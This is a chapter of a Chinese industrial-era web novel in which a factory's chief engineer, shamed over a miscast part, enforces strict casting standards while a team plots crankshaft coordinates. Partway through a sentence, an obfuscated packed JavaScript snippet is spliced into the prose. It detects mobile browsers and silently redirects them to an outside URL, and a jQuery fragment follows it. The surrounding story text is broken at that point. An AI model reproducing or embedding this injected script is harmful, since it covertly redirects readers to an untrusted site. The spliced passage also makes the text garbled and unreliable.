路承舟离去的背影，像一柄无形的巨锤，将铸造车间里刚刚燃起的丁点希望与欢呼，砸得粉碎。
寂静。
死一样的寂静。
只有远处那座巨大的熔炉，依旧在不知疲倦地轰鸣，那翻滚的橘红色铁水，此刻在众人眼中，不再是工业的力量与希望，而是一头择人而噬的、随时可能暴走的巨兽。
那个被路承舟宣判为“废品”的刻度盘，静静地躺在冷却的砂箱里，通体暗红，仿佛一块凝固的、尚有余温的烙铁，将“失败”两个字，深深烙在每一个铸造工人的脸上。
铸造主任那张涨成猪肝色的脸，此刻血色尽褪，化为一种灰败的、混杂着**与恐惧的惨白。
他嘴唇哆嗦着，却一个字也说不出来。
他想不通，也无法接受。
他们明明已经用尽了全部心血，攻克了那看似不可能的精密齿轮铸造难关，为何等来的不是嘉奖，而是冰冷到极致的审判？
江建国的身躯，靠着冰冷的工作台，微微地颤抖着。
他比任何人都清楚，路承舟是对的。
那个年轻人，甚至没有用卡尺去测量最难的齿轮，仅仅是卡了一下内外圆，就洞穿了他们这个“奇迹”背后最致命的缺陷。
那不是一个可以被忽略的瑕疵，那是一个从根源上就已注定的、无法挽回的错误。
羞愧，像熔化的铁水，灼烧着他的五脏六腑。
他，堂堂红星厂的总工程师，一个在图纸和机床边浸淫了一辈子的技术权威，竟然犯下了如此低级、如此可笑的错误，他忽略了图纸上的技术参数。
他下意识地，依旧相信着自己那套陈旧的、模糊的“经验”。
他相信自己的眼睛，相信自己对铁水“火候”的判断，相信自己脑海中那个大概的、模糊的收缩率。
而路承舟用一种近乎羞辱的方式，向他展示了真正的工业科学。
那是一个由数据、公式和标准构筑的，冰冷、严苛、却不容置疑的绝对世界。
在那个世界里，没有“大概”，没有“可能”，没有“凭感觉”。
对，就是对。
错，就是错。
他缓缓地直起身，花白的头发在热浪中凌乱地舞动。
他没有去看周围那些失魂落魄的下属，而是迈开沉重的、仿佛灌了铅的双腿，一步一步地，走到了那张被他遗忘在角落的工作台前。
他伸出微微颤抖的手，拿起了那张刻度盘的草图。
他的目光，掠过了图中复杂的结构，直接落在了右下角那片密密麻麻的、用小字标注的技术说明区。
“推荐材料：HT250。”
“浇筑温度：1380℃
1420℃。”
“理论收缩率：1．2％。”
江建国一个字一个字地，低声念了出来。
他的声音不大，甚至有些干涩嘶哑，却像一记记重锤，狠狠地敲在车间里每一个人的心上。
每一个数据，都清晰无比。
每一个标准，都明确无误。
而他们彻彻底底地，将这一切视若无睹。
江建国缓缓闭上眼睛，那张布满皱纹的脸上，满是无法言喻的痛苦。
他这一生所建立起来的骄傲与自信，在这一刻，被这张轻飘飘的图纸，彻底压垮、碾碎。
再睁开眼时，他眼中的浑浊与不甘已经退去，取而代之的，是一种被逼到绝境后的、破釜沉舟的清明。
“把那个废品，回炉。”
他转过身，声音不大，却带着一种斩钉截铁的决断。
众人猛地一怔。
“江总工……”
铸造主任下意识地想说什么。
那个铸件虽然尺寸有误，但齿形成型了，或许可以想想别的办法补救……
“我说，回炉！”
江建国猛地抬高了声调，眼中迸发出骇人的光，“一个连尺寸都保证不了的废铁，留着它过年吗？留着它，是想时刻提醒我们，我们有多蠢吗？”
这一声怒吼，吼得所有人浑身一颤。
江建国不再理会他们，他拿着图纸，大步走向熔炉，对着那个被路承舟指点过的年轻工人，用一种不容置疑的命令口吻说道：“拿温度计来！没有工业温度计，就把实验室的给我拆过来！从现在起，每十分钟测一次温，记录数据，直到温度稳定在1400度，一度都不能差！”
他又转向负责配料的老师傅：“把炉料清空，重新配！严格按照HT250的牌号标准，把硅、锰、磷、硫的含量给我算准了！谁再敢用眼睛估，就给我滚出去！”
他像一头被彻底激怒的年迈雄狮，用最暴烈的方式，将自己刚刚学到的、那套冰冷的“钢铁逻辑”，强行灌输给每一个下属。
他是在惩罚他们，更是在惩罚自己。
看着判若两人的江建国，看着他那双燃烧着火焰的眼睛，所有工人心中最后一点侥幸和怨气都烟消云散。
他们默默地行动起来，脸上没有了先前的沮丧，取而代之的，是一种前所未有的、近乎于朝圣般的严肃与凝重。
车间里，不再有喧哗。
只有熔炉的轰鸣，以及工具之间清脆而有节奏的碰撞声。
一个全新的秩序，正在烈焰与羞辱中，破土而出。
与此同时，工装设计室内的气氛，同样压抑而肃杀。
那张巨大的绘图板上，已经铺开了曲轴的总装图。
那扭曲的、复杂的结构，像一条蛰伏的钢铁巨龙，仅仅是看着，就让人头皮发麻。
刘师傅叼着一根没点燃的香烟，双眼死死地盯着图纸，像一尊石化的雕像。
他的身后，钳工组的老张和老李，以及绘图员小王，同样屏息凝神。
他们的面前，不再有争吵，不再有茫然。
只有一张巨大的坐标纸，和一摞厚厚的计算草稿。
“主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366110|183469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轴颈一号中心，设为原点（0，0）。”
刘师傅的声音，沙哑却无比清晰，“小王，计算一号连杆轴颈的相对坐标，注意偏心距是四十五毫米，相位角是零度。”
“老张，你负责校对一号和**连杆轴颈的相位关系，一百八十度，绝对不能错！”
“老李，二号和三号轴颈的相位，同样是一百八十度，但它们整体相对于一、**轴颈，偏转九十度。把这个空间关系想清楚了再动笔！”
他有条不紊地分派着任务，逻辑清晰，指令明确。
那个由路承舟强行植入他们脑中的“坐标系”思维，此刻已经被他彻底消化，变成了他自己的武器。
他不再是一个被动接受者，而是这个新体系最坚决的执行者与扞卫者。
这是一场比攻克缸盖图纸时，更为艰难百倍的战争。
但这一次，他们有了清晰的地图，和统一的语言。
即便前路依旧是地狱，他们也知道该往哪个方向，迈出第一步。
三号车间的两座孤岛，在各自的战场上，以一种惊人的默契，燃烧着同一个黎明。
而这一切的始作俑者，路承舟却根本没有出现在任何一个战场。
他回到了自己那间简陋的办公室。
桌上，那叠《“强心”项目标准化作业指导书》又厚了几分。
在原有文件的基础上，赫然多出了几份新的标题：《铸造成型工艺控制标准（失蜡法V1．0）》《铸件缺陷分析与预防手册》《热处理工艺曲线参考图集》《关键尺寸公差等级与检验规范》……
他写的每一个字，都来源于这个国家最匮乏、最前沿的工业知识。
他构建的每一个标准，都精准地指向了那两个战场上正在发生的一切。
他不是一个监工。
他是一个立法者。
他深知，用命令和恐惧，只能催生出短暂的效率。
而想要锻造出一支真正能打硬仗的现代化工业队伍，就必须为他们注入一个全新的灵魂。
这个灵魂，就是“标准”。
当夜幕再次降临，当铸造车间的熔炉在精确的控制下，终于达到了1400度的完美温度时，江建国亲自戴上了护目镜。
他没有让工人代劳，而是亲自握住了那沉重的、巨大的浇包铁杆。
滚烫的铁水被缓缓倾倒而出，化作一道璀璨的、金黄色的洪流，沿着预设的流道，精准地注入了那个崭新的、经过精密计算的石膏模具之中。
整个车间，落针可闻。
所有人都屏住了呼吸，目光死死地盯着那道金色的光芒，直到它彻底灌满模腔，消失不见。
江建国缓缓放下浇包，他没有说话，只是静静地站在那里，等待着那炉铁水，给出它最后的审判。
这一次，它所承载的，不再仅仅是一个零件的成败。
而是一个旧时代的彻底死亡，与一个新世界的艰难诞生。